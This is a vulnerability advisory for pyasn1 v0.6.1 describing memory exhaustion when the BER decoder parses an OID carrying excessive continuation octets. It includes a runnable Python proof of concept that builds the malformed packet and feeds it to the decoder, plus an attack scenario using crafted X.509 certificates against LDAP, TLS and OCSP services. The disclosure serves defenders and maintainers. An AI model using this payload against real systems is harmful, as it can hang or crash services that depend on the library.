PYSEC-2026-1810

### Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

### Details

The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

### PoC

For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource

# Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload)

# DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

# Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion')

except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}')

print("\n[*] Test completed") ```

Screenshots with the results:

#### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />

<img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />

#### Leak analysis

A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin

[*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.

[*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ```

### Scenario

1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

### Impact

This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

### Recommendation

Add a limit to the allowed bytes in the decoder.